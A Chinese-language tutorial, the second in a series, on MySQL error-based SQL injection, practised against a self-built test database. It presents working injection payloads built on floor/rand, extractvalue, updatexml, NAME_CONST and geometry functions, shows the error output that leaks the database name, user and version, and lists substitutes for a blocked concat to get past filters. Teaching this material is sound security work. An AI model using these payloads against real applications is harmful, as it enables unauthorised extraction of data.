MySQL注入之报错注入(二)

一、简介
这里接着上一节的继续讲,这里开始讲解 MySQL 的报错注入,也就是在 MySQL 注入过程中,有报错信息提示的情况下进行注入,首先需要做的就是按照上一节的内容建立好 mysqltest 这个数据库,并且插入好数据,详情可以见这里

二、报错注入常用语句
准备工作:
切换到 mysqltest 数据库,然后准备开始。

1. floor()
mysql> select * from admin_user where id = 1 union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))a from information_schema.columns group by a;
1062 - Duplicate entry '~mysqltest~1' for key 'group_key'

2. extractvalue()
# 限制输出长度为 32 位
mysql> select * from admin_user where id = 1 union select extractvalue(1,concat(0x7e,(select database()),0x7e));
1105 - XPATH syntax error: '~mysqltest~'

3. updatexml()
# 限制输出长度为 32 位
mysql> select * from admin_user where id = 1 union select updatexml(1,concat(0x7e,(select database()),0x7e),1);
1105 - XPATH syntax error: '~mysqltest~'

4. name_count()
mysql> select * from admin_user where id = 1 union select 1,2,3 from (select NAME_CONST(database(),1),NAME_CONST(version(),1))x;
1060 - Duplicate column name 'mysqltest'

5. linestring()
# 5.5.5 版本以下(5.1.73 复现成功)
union select linestring((select * from(select * from(select @@datadir)a)b))

6. multilinestring()
# 5.5.5 版本以下(5.1.73 复现成功)
union select multilinestring((select * from(select * from(select database())a)b))


7. multipolygon()
# 5.5.5 版本以下(5.1.73 复现成功)
union select  multipolygon((select * from(select * from(select user())a)b))

8. polygon()
# 5.5.5 版本以下(5.1.73 复现成功)
union select  polygon((select * from(select * from(select database())a)b))

9. multipoint()
# 5.5.5 版本以下(5.1.73 复现成功)
union select  multipoint((select * from(select * from(select user())a)b))

10. geometrycollection()
# 5.5.5 版本以下(5.1.73 复现成功)
union select  geometrycollection((select * from(select * from(select database())a)b))

三、绕过思路
我这里以 updatexml 报错注入函数为例进行细讲
具体的操作可以查看这篇文章,以及如何绕过 32 位的显示。
先来查看一下经典的 updatexml 报错注入语句:

select updatexml(1,concat(0x7e,(select version()),0x7e),1);

通过查询@@version,返回版本。然后CONCAT将其字符串化。因为UPDATEXML第二个参数需要Xpath格式的字符串,我们输入的显然不符合,故此报错。

现在在这里提出一个问题,如果 concat 函数被禁用了怎么办?我们可以选择其他的报错注入方式,当然也可以选择一下相似函数进行替换,例如:

mysql> select updatexml(1,make_set(3,'~',(select user())),1);
1105 - XPATH syntax error: '~,root@192.168.80.130'

mysql> select updatexml(1,lpad('@',30,(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhostr@'

mysql> select updatexml(1,repeat((select user()),2),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhostroot@localhost'

mysql> select updatexml(1,(select user()),1);
ERROR 1105 (HY000): XPATH syntax error: '@localhost'

mysql> select updatexml(1,reverse((select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '@toor'

mysql> select updatexml(1,export_set(1|2,'::',(select user())),1);
ERROR 1105 (HY000): XPATH syntax error: '::,::,root@localhost,root@localh'

四、参考引用
GitHub:https://github.com/aleenzz/MYSQL_SQL_BYPASS_WIKI
先知社区:https://xz.aliyun.com/t/2160

发表评论

电子邮件地址不会被公开。必填项已用 * 标注